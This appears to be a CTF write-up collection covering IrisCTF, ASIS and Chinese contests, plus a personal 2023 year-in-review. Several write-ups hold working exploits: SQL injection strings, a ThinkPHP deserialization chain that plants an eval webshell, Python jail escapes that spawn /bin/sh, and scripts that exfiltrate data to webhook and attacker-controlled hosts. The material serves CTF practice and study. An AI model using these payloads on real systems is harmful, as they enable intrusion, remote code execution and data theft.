0%

What’s My Password

sql injection

1
{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}

LameNote

1
2
3
4
5
6
7
8
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.

lamenote.tar.gz

lamenote-adminbot.tar.gz

maybe https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks

trying…

there is always response 200, so seems like not this

Got idea: In our resourse need make bot to create a new note with content irisctf{a and with img url to any webhook, then in iframe open the /search?query=irisctf{a

  • if there is only our note matches then server will open our note and request to our webhook
  • if there is more than 1 note with “irisctf{a” then response will be just urls of notes, no request to webhook, so we can extract the symbol of flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, make_response, request

from flask_cors import CORS

app = Flask(__name__)
CORS(app)
callbacks = []
temp = """
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<iframe name="test" style="display:none;"></iframe>
<iframe name="test2" style="display:none;"></iframe>
<form action="<https://lamenote-web.chal.irisc.tf/create>" method="POST" target="test">
<input type="hidden" name="title" value="Flag" />
<input type="hidden" name="text" value="irisctf&#123;{}" />
<input type="hidden" name="image" value="https&#58;&#47;&#47;edu&#46;ghost1032&#46;top/callback&#63;callback&#61;{}&index={}" />
<input type="submit" value="Submit request" />
</form>

<form action="<https://lamenote-web.chal.irisc.tf/search>" method="GET" target="test2">
<input type="hidden" name="query" value="irisctf&#123;{}"/>
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
document.forms[1].submit();
</script>
</body>
</html>

"""
@app.route('/leak/<i>/<string>')
def index(i,string):
return make_response(temp.format(string, string, i , string))

@app.route('/callback')
def cb():
cb = request.args.get('callback')
index = int(request.args.get('index'))
if len(callbacks) <= index:
callbacks.append({})
if cb in callbacks[index]:
callbacks[index][cb] += 1
else:
callbacks[index][cb] = 1
print(callbacks)
return make_response('')

@app.route('/result')
def result():
index = int(request.args.get('index'))
if index >= len(callbacks):
return make_response('Nope')
return make_response(str(callbacks[index]))

app.run(debug=True, port=48080)

example:

echo “https://edu.ghost1032.top/leak/0/pz“ | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 would have 2 callback requests

while

echo “https://edu.ghost1032.top/leak/0/pl“ | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 only has 1 callback request.

You should try a couple of times for every char, since Sorry if the timeout is a bit broken on this challenge

And that’s why I don’t have a working full-automatic exp :(

Maybe we can solve the issue by making multiple tries for every char.

I made some exploit, trying now …

1
irisctf{please_no_more_unintended_bugs}

InsoBank

1
2
3
4
5
6
7
8
9
by clZ

We're launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.

It's not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:

http://91.92.201.197:3000/

Source: here
1
2
3
for (accountid,name,balance) in cursor.fetchall():
if balance > 13.37:
results[accountid] = {'name': name, 'balance': balance, 'flag': FLAG}

image-20240204225812809

python精度问题

image-20240204225846640

ok

2023

emmm,我也想总结一下下(QWQ)我的2023。

img

开始

高考完之后,莫名的就像填计算机啦,也不知道为啥。进入学校发现并且接触到小红帽这个组织,其实我超级社恐,经过学长的帮助我成功进入了网络部,vocal,发现这里有超级🐂而且还喜欢帮助我们的学长学姐,也有志同道合的朋友,感觉真是幸福了。然后就开始正式开始前端啦,不知道是因为喜欢还是想努力一点,反正就是经常都学到深夜,然后在学长学姐的推荐↓参加了网页设计大赛,呃呃呃第二名,我有亿点社恐然后还没有准备,答辩的时候,我不知道我们在讲些啥,哈哈哈总归学了那么久还是有点收货啦

img

网安

怎么说呢,也是在学长的帮助下,加上这个东西有点兴趣,就拉着一个挺上进的室友去参加了一个emmm算是小培训吧,vocal在这里又认识了另外一些学长学姐,恰逢网页设计大赛之前,我也恰好遇到一些问题,反正就没听这个培训的内容(后面被举报了d(ŐдŐ๑),就全去问大佬网页的问题了。

然后就是国赛的招新赛啦!我只能说是真的有点运气好,叫上我的室友,我们就开始第一次CTF了,怎么说呢,感觉有种有点上瘾的感觉,哈哈哈后来才知道,还是学长很用心的出了适合我们的题目(不然只能当场退役了),恰好之前学了一点点前端,再加上室友当时听了一些培训的内容,总之我们俩还是成功选上了。到了国赛初赛我才知道,CTF的不同,校内选拔赛全靠学长努力���,我根本不会啊,我记得学长问我这个符号是啥 ^ 其实我很懵,我根本不知道啊,我连别人做好的我连脚本都看不懂,但好在学长学姐努力���,我成功进线下赛啦。虽然我们队没有取得好成绩,属于是直接去旅游啦(真的是去旅游的!真的),但是现在才知道,才接触CTF就有这种机会,真的超级幸运了(说不完根本说不完,只能感谢学长们了@kdxcxs,@CH3NQU)…………真的一路全靠带

img

遗憾

好像是暑假的时候,其实当时才国赛回来,emm感觉我啥也不会,很受伤狠狠的质疑了自己。然后有一填参加了一下nepnep的招新赛,其实当时我也不知道是招新赛,只是在nss看见这个比赛了,我就去打了一下下,有些题目感觉真的可能做出来,就去bilibili看了一下赛后讲解(绝对不是为了抽奖qwq),然后发现可以投简历NepNep啊,那么大的战队,感觉离我很远很远,但是感觉挺好奇的之前没有投过简历,我直接Google找到一个模板,浅填了一下基本信息,然后里面啥也没有了。vocal,hr加我了,我有面试的机会,很激动很激动,但是感觉自己真的学的很少很少,就属于是漫无目的的学,知道一些东西但是仅限于知道。然后就跟CH3NQU大哥说了,大哥是真的很好很好,经常帮助我。然后我们聊了很多,也鼓励我冲。反正我啥也没有这种机会也不要钱,那就冲吧,还帮我联系到了贝塔姐(NepNep战队的,vocal深藏不露,我这是又认识一个大佬,我跑去跟贝塔姐也聊了很多,哈哈哈哈谁不喜欢高质量人才呢,我只能再次说我好幸运,贝塔姐也帮我。

开始面试,vocal我都不知道是几个大佬在轮番拷打我了,这时候我才发现,我是真不会啊,但这也是学习的机会,我知道了自己的很多不足啦,我心里很清楚,没抓住这次机会。还是怪自己之前努力并不够。然后vocal,kdxcxs哥直接一个电话打过来,说帮我复盘这个面试,然后还叫上了贝塔姐。vocal我何德何能啊。总之,真的是很幸运很幸运了,但是自己还是得加油,遗憾就遗憾吧,不能那么多好事都让我占了吧

img

幸运

emm前面都说了那么多幸运了,但是还是想继续说一些其它的,比如遇到超级超级温柔漂亮的女朋友(其他不告诉你)。比如小红帽,这里真是我大学以来开始努力的地方,恰好遇到了很多志同道合的朋友,很多学长学姐都在帮助我们,哈哈哈比如之前说了那么多的CH3NQU大哥,卫老师(怎么说就是🐂,就是好),贺最(怎么说,就是亲民)还有很多很多不是我们部门的人啦,比如秋秋姐,王最,蒋老师他们(说不完根本说不完)。当然,也少不了我们一级的干事了,磊子哥,娅姐,棋总,坤哥,小学同学等等等等等等等,还有其它部门的很多好朋友们。下半年也是继续留着小红帽了,我们又找到了新干事们了,属于都是很牛的,很卷的,总之就是各有所长了。再比如室友们,大家都超级和睦,相处起来非常融洽,属于是在高考完刷抖音刷到寝室问题的时候心里提起的大石头,算是落地了。

然后就是C0ba1t了,队友们感觉不仅很强,而且都很努力,属于是找到另一个归属了

然后就是CO啦,这里真的很多大佬了,有很负责的老师,还有很多很多大佬学长,有很多的资源,有非常好的学习氛围。真的非常荣幸能够进入co

(不行太多了,说不完根本说不完)

总之就是很幸运啦!

img

比赛

下半年我们自己打了很多CTF比赛,很多时候都是去坐牢了d(ŐдŐ๑)没办法我太菜了(;´༎ຶД༎ຶ`) ,但是,还是很多很多收货都,比如线下见到暑假网友辉哥,还看见很多其它学校的大佬,最后获得了二等奖,属于是有点不甘心但是有一些意外,但是更多的还是我太菜了d(ŐдŐ๑)。然后然后vocal大佬直接带我们进r3kapig子战队,又属于是幸福了,然后那些比赛就是以另一种奇特的方式坐牢了d(ŐдŐ๑),开始接触更多的国际赛,很少很少做出题。在notion里面看见大佬的解题思路,真的属于是走进新世界的大门,真的有很努力的复现了,但是有些真的看着思路给了exp我都打不出来,菜的想死,甚至还能把自己电脑文件搞掉,服务器直接被拿下。真服了。

但是在这途中还是参加了一下其他的比赛,属于是混奖了,王最大哥直接带飞。还有其它的我就只写个网页,就其他的全靠别人的成果了。

img

挖洞

在年末那几天,CH3NQU哥拿下几个学校的漏洞,我之前也试过但是苦于根本找不到在哪,然后就在那几天突然发现一个洞,然后没过几天浅试一下就又找到了。感觉就是挖简单的洞只要有点经验,然后很容易找到的(我想要0day,我想CVE������)

img

总之呢,2023有很多很多幸运都事情,也有很多很多烦恼,也不是一些文字螚描述清楚的,emmm,反正还是得继续继续努力,越想自己越菜,加油吧!!!!!冲冲冲!!

Web

给了docker,代码逻辑

image-20231218230623159

mad,开局这里不是admin

image-20231219003304097

这个函数有sql注入

image-20231218230743819

找到逻辑

image-20231218230846206

继续

image-20231218230905900

1
$view->arrayToMarkdown(unserialize(base64_decode($goods['data'])))

image-20231218231424714

抓包,获取请求数据

从docker中可以看到,flag不在数据库里面,所以我们需要RCE,emm

这里有个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php

namespace think\process\pipes;

use think\model\Pivot;

class Pipes
{

}

class Windows extends Pipes
{
private $files = [];

function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
#Relation
use think\db\Query;

abstract class Relation
{
protected $selfRelation;
protected $query;

function __construct()
{
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;
#OneToOne HasOne
use think\model\Relation;

abstract class OneToOne extends Relation
{
function __construct()
{
parent::__construct();
}

}

class HasOne extends OneToOne
{
protected $bindAttr = [];

function __construct()
{
parent::__construct();
$this->bindAttr = ["no", "123"];
}
}

namespace think\console;
#Output
use think\session\driver\Memcached;

class Output
{
private $handle = null;
protected $styles = [];

function __construct()
{
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;
#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;

abstract class Model
{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct()
{
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;
#Query
use think\console\Output;

class Query
{
protected $model;

function __construct()
{
$this->model = new Output();
}
}

namespace think\session\driver;
#Memcached
use think\cache\driver\File;

class Memcached
{
protected $handler = null;

function __construct()
{
$this->handler = new File();//目的调用File->set()
}
}

namespace think\cache\driver;
#File
class File
{
protected $options = [];
protected $tag;

function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{


}


use think\process\pipes\Windows;

echo base64_encode(serialize([new Windows()]));

直接网上找条链子就打通了

image-20231218232718457

需要数组形式的

然后构造一个sql语句

image-20231218235801197

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = 'http://192.168.153.130:36000/public/index.php/index/admin/do_edit.html'

cookies = {
'PHPSESSID': 'l98e9omcje3gljtum9ith1ffn6'
}

exp = "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"

data = {
'id': '1',
'name': '1',
'price': '1.00',
'on_sale_time': '2023-12-16T21:20',
'image': '$sql',
f"data`='{exp}'/**/WHERE/**/`id`/**/=/**/1;#": '123',
'data': '1'
}

r = requests.post(url, cookies=cookies, data=data)

print(r.text)

最后访问页面,触发反序列化

image-20231218235942528

本地打一下,看见打上去了

直接RCE

image-20231219000032765

MISC

Pyjail ! It’s myFILTER !!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# Python Version:python3.10
# Source Code:

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")

直接打

1
{"a"}' + print(open('/proc/1/environ').read()) #

Pyjail ! It’s myRevenge !!!

题目源码

第一步清除 blacklist,然后用 input 读入继续打

1 2 3 {[list(globals().values())[-2].clear(),"{i""nput()}"][1]} {[globals()["__builtins__"].exec("import os"),"{i""nput()}"][1]} {[os.spawnv(0, "/bin/sh", ["sh"]),"{i""nput()}"][1]}

Pyjail ! It’s myAST !!!!

题目源码,远程环境为 python 3.11

python 3.10 开始引入了 match 关键字,可以用 match 获取对象属性,用 unicode 绕过下划线检测,用 bytes 转字符串和 len 构造数字绕过 ast 中的禁止常量,使用海象运算符绕过赋值,减小 payload 长度,虽然 1800 够用了 (

一.SpeedUp

image-20231219005108031在这个网站直接记载了2的27次方的阶乘的每一位数字之和

A244060 - OEIS

image-20231219005038815

对4495662081取个sha256即可

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

石头剪刀布

他是贝叶斯预测,然后手搓序列,每次贝叶斯的预测的应该差不多,可以看最后一次结果,然后序列中改成赢过AI的出法加入序列,按照这个规律改就可以把分数逐步上升,最后达到260分拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import re
import time

# 0 - 石头,1 - 剪刀,2 - 布
p = remote('8.147.133.72',25458)

opponent_choice = [1,1,1,1,1,2,2,0,0,1,2,0,1,2,0,2,0,0,0,1,1,1,1,1,2,1,2,2,2,0,2,0,0,0,1,1,1,1,2,2,2,0,0,1,2,0,1,2,0,2,0,2,1,0,2,1,0,0,0,1,1,1,2,2,0,0,1,2,1,1,2,2,2,0,1,2,0,1,2,0,2,0,1,0,2,1,0,0]

p.recv()

for i in range(len(opponent_choice)):
d = p.recv()
p.sendline(str(opponent_choice[i]).encode())
r = p.recv()
score = re.findall(r'你的分数: (.*?)\n',d.decode())
if score != []:
print(score[0]+'/260')
time.sleep(0.05)

d = p.recv()
print(d.decode())
p.sendline(b'2')
r = p.recv()
print(r.decode())
score = re.findall(r'你的分数: (.*?)\n',d.decode())
if score != []:
print(score[0]+'/260')

print(str(len(opponent_choice))+'/100')
p.interactive()

楚慧杯

eaaeval

打开题目,源码给了用户密码

image-20231219005653278

登陆后啥也没有,扫一下发现源码泄露www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Flag{
public $a;
public $b;
public function __construct(){
$this->a = 'admin';
$this->b = 'admin';
}

public function __destruct(){
if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
system($this->a.' '.$this->b);
}else{
echo "again?";
}
}

}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

exp如下

1
2
3
4
5
6
7
8
9
10
<?php
class Flag{
public $a;
public $b;
}

$A=new Flag();
$A->a='ca\t';
$A->b='/f*';
echo serialize($A);

upload_shell
打开题目,有个登录框,随便登录进去

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<?php
session_start();
highlight_file(__FILE__);
include "./my.php";
echo strlen($secret);
echo"<br>";
echo(md5($secret."adminpassword"));
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["source"])) {
if ($username === "admin" && $password != "password") {
if ($_COOKIE["source"] === md5($secret.$username.$password)) {

// 在验证用户后,如果登录成功,设置会话变量来表示用户已登录
$_SESSION['loggedin'] = true;
$_SESSION['username'] = 'admin'; // 用户名
$_SESSION['role'] = 'admin'; // 用户角色或权限
echo "<script>window.location.href='upload.php';</script>";
}
else {
echo "<br>";
die ("你的cookie好像不太对啊");
}
}
else {
die ("可不会轻易放你进去");
}

}

14
879bd10c8628894d388c068a25326c21

分析一下发现是哈希长度拓展攻击
直接脚本

bp抓包修改cookie

username=admin&password=password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00ctf
1
成功跳转

这里考点是文件上传注入,对文件名注入

放弃灵魂直接sqlmap跑

Pupptear:

***报错追踪文件名字

1
2
3
4
5
6
7
Do you know what Puppeteer's friends call him when he cries? Pupptear... hahahaah

[attachment](<https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz>)

nc 18.195.96.13 2000

Flag format for Pupptear: ^ASIS{[^{}]+}$

pupptear.txz

oh ok

I get the concept.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
url = input('input URL (b64ed): ')
if(not re.match('^[A-Za-z0-9=+/]+$',url)):
print('bad URL')
exit(1)

os.close(0)
os.close(1)
os.close(2)

containerName = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(0x10))
os.system(f'bash -c "sleep 5 && docker kill {containerName} 2>/dev/null" &')
os.system(f'docker run --name {containerName} pupptear bash -c \\'/ASIS*/index.js {url}\\' ')
#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = 'flag{test-flag}';

async function visit(url){
let browser;

if(!/^https?:\\/\\//.test(url)){
return;
}

try{
browser = await puppeteer.launch({
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
"--ignore-certificate-errors",
],
executablePath: "/usr/bin/google-chrome-stable",
headless: 'new'
});

let page = await browser.newPage();
await page.goto(url,{ timeout: 2000 });
await page.waitForFunction(flag=>{
let el = document.getElementById('flag')
if(!el) return false
el.value = flag
return true
},{ timeout: 2000 },flag)
await new Promise(r=>setTimeout(r,3000));
}catch(e){}
try{await browser.close();}catch(e){}
process.exit(0)
}

get folder name? have no idea.

need to check if we can get flag during page move delayimage-20240101163004369

fake flag. need to get folder name. i guess stacktrace from waitforfunction?

1
2
3
4
5
6
7
8
9
10
WORKDIR /app
COPY ./stuff/ /app/
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm ci
RUN chmod +x /app/index.js
RUN useradd -m www
RUN chmod 777 /home/www/ -R
ENV FLAG=ASIS{test-flag}
RUN mv /app/ /$FLAG/
WORKDIR /
USER www

I guess yes.

One way is to hook Error and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕

If no one solves it I will try out sometime tomorrow.

i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.

hook getElementById, read stacktrace.

solved:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<body>
<input type="text" id="flag" />
<script>
const oldFunc = document.getElementById
document.getElementById = function(id) {
const e = new Error();
const stack = e.stack.split('\\n');
fetch(`${document.location.href}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
id,
stack
})
})
return oldFunc.apply(document, arguments)
}
</script>
</body>

or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<body>
<script>
const HOOK_URL = "https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d";

let sent = false;
function hook() {
if (sent) return;
sent = true;

const e = new Error();
navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
</script>
</body>

image-20240101162824320

1
2
3
4
5
6
Error
at HTMLDocument.hook [as getElementById] (http://47.108.69.229/?id{aaa111}:11:13)
at eval (eval at G (:3:1641), <anonymous>:4:22)
at P.<anonymous> (pptr:evaluateHandle;WaitTask.rerun (/ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}/node_modules/puppeteer-core/lib/cjs/puppeteer/common/WaitTask.js:80:54):4:36)
at P.start (pptr:internal:3:3734)
at pptr:evaluate;WaitTask.rerun (/ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}/node_modules/puppeteer-core/lib/cjs/puppeteer/common/WaitTask.js:110:32):2:29

ASIS{d1d-y0u-m4k3-pupp733r-cry-4n-3rr0r-6u35f5}

gimme csp(warmup):

绕过csp——-iframe标签

1
2
3
4
5
6
hint for beginners: read about CSPs and Iframes and what features they can offer that you can use to bypass or exfiltrate things. The challenge isn't easy if you are new to CTFs or don't have much experience however it should be the easiest web challenge.

[attachment](<https://asisctf.com/tasks/gimme-csp_2b4abfa898695e4a37f7f36e4ba1b35a88f37103.txz>)

website: <https://gimmecsp.asisctf.com>
Admin bot: <http://18.195.96.13:8001>

gimme-csp.txz

ok

I can solve

server returned multiple csp header and only the default-src ‘none’ works

one last step…

1
<iframe src="<https://gimmecsp.asisctf.com/?letter=$gift$></pre>1234<link rel='stylesheet' href='//fe.gy/1.css'></script>" csp="stylescript-src-src-elem 'self' 'unsafe-eval' <https://fe.gy> 'unsafe-inline';"  referrerpolicy="no-referrer"></iframe></body>

oh

got an idea 🙂

I think the csp attribute does some sort of sandboxing, we need to find some good way to prefetch or load the flag

1
<iframe src="<https://gimmecsp.asisctf.com/?letter=></pre>1234<img src='<https://fe.gy/$gift$>'></script>" csp="img-src <https://fe.gy>; defascript-srcult-sscript-srcrc <https://fe.gy>; repscript-srcort-uscript-srcri <https://fe.gy>;" referrerpolicy="no-referrer"></iframe></body>

ok

I think I can get flag now?

Here’s a way

solved now

exploit:

1
2
<iframe src="<https://gimmecsp.asisctf.com/?letter=></pre>1234<img src='<http://$gift$.harold.kim:1337/>'></script>" csp="img-src https://*; defascript-srcult-sscript-srcrc <http://harold.kim:1337/>; repscript-srcort-uscript-srcri <https://azusawa.world/a.php;"> referrerpolicy="no-referrer"></iframe></body>
{"csp-report":{"document-uri":"[<https://gimmecsp.asisctf.com/?letter=></pre>1234<img src='<http://$gift$.harold.kim:1337/>'></script>","referrer":"","violated-directive":"img-src","effective-directive":"img-src","original-policy":"img-src](<https://gimmecsp.asisctf.com/?letter=%3C/pre%3E1234%3Cimg%20src=%27http://$gift$.harold.kim:1337/%27%3E%3C/script%3E%22,%22referrer%22:%22%22,%22violated-directive%22:%22img-src%22,%22effective-directive%22:%22img-src%22,%22original-policy%22:%22img-src>) https://*; default-src <http://harold.kim:1337/>; report-uri [<https://azusawa.world/a.php;","disposition":"enforce","blocked-uri":"https://asis{test-flag}.harold.kim:1337/","line-number":1,"source-file":"https://gimmecsp.asisctf.com/","status-code":200,"script-sample":">](<https://azusawa.world/a.php;%22,%22disposition%22:%22enforce%22,%22blocked-uri%22:%22https://asis%7Btest-flag%7D.harold.kim:1337/%22,%22line-number%22:1,%22source-file%22:%22https://gimmecsp.asisctf.com/%22,%22status-code%22:200,%22script-sample%22:%22>)"}}```

ASIS{1m-n07-r34dy-f0r-2024-y3t-dfadb}

SQL注入

SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)[盲注去这]

联合查询

